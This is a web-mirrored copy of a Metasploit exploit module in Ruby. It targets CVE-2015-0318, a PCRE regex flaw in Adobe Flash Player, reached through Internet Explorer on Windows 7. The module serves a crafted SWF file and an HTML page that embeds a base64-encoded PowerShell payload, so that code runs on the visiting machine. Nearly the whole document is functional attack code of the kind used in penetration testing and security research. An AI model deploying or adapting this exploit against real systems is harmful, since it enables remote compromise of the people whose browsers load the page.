CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/adobe_flash_pcre.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = NormalRanking

8


9
  CLASSID =  'd27cdb6e-ae6d-11cf-96b8-444553540000'

10


11
  include Msf::Exploit::Powershell

12
  include Msf::Exploit::Remote::BrowserExploitServer

13


14
  def initialize(info={})

15
    super(update_info(info,

16
      'Name'           => "Adobe Flash Player PCRE Regex Vulnerability",

17
      'Description'    => %q{

18
        This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error

19
        in the PCRE engine, specifically in the handling of the \c escape sequence when followed by

20
        a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.

21
      },

22
      'License'        => MSF_LICENSE,

23
      'Author'         =>

24
        [

25
          'Mark Brand', # Found vuln

26
          'sinn3r'      # MSF

27
        ],

28
      'References'     =>

29
        [

30
          [ 'CVE', '2015-0318' ],

31
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],

32
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]

33
        ],

34
      'Payload'        =>

35
        {

36
          'Space' => 1024,

37
          'DisableNops' => true

38
        },

39
      'DefaultOptions'  =>

40
        {

41
          'Retries' => true

42
        },

43
      'Platform'       => 'win',

44
      'BrowserRequirements' =>

45
        {

46
          :source  => /script|headers/i,

47
          :activex => [

48
            {

49
              clsid: "{#{CLASSID}}",

50
              method: "LoadMovie"

51
            }

52
          ],

53
          :os_name => OperatingSystems::Match::WINDOWS_7,

54
          :ua_name => Msf::HttpClients::IE,

55
          # Ohter versions are vulnerable but .235 is the one that works for me pretty well

56
          # So we're gonna limit to this one for now. More validation needed in the future.

57
          :flash   => lambda { |ver| ver == '16.0.0.235' }

58
        },

59
      'Targets'        =>

60
        [

61
          [ 'Automatic', {} ]

62
        ],

63
      'Privileged'     => false,

64
      'DisclosureDate' => '2014-11-25',

65
      'DefaultTarget'  => 0))

66
  end

67


68
  def exploit

69
    # Please see data/exploits/CVE-2015-0318/ for source,

70
    # that's where the actual exploit is

71
    @swf = create_swf

72
    super

73
  end

74


75
  def on_request_exploit(cli, request, target_info)

76
    print_status("Request: #{request.uri}")

77


78
    if request.uri =~ /\.swf$/

79
      print_status("Sending SWF...")

80
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})

81
      return

82
    end

83


84
    print_status("Sending HTML...")

85
    tag = retrieve_tag(cli, request)

86
    profile = browser_profile[tag]

87
    profile[:tried] = false unless profile.nil? # to allow request the swf

88
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})

89
  end

90


91
  def exploit_template(cli, target_info)

92
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"

93
    target_payload = get_payload(cli, target_info)

94
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})

95
    b64_payload = Rex::Text.encode_base64(psh_payload)

96


97
    html_template = %Q|<html>

98
    <body>

99
    <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />

100
    <param name="movie" value="<%=swf_random%>" />

101
    <param name="allowScriptAccess" value="always" />

102
    <param name="FlashVars" value="sh=<%=b64_payload%>" />

103
    <param name="Play" value="true" />

104
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>

105
    </object>

106
    </body>

107
    </html>

108
    |

109


110
    return html_template, binding()

111
  end

112


113
  def create_swf

114
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )

115
    swf = ::File.open(path, 'rb') { |f| swf = f.read }

116


117
    swf

118
  end

119
end

120


121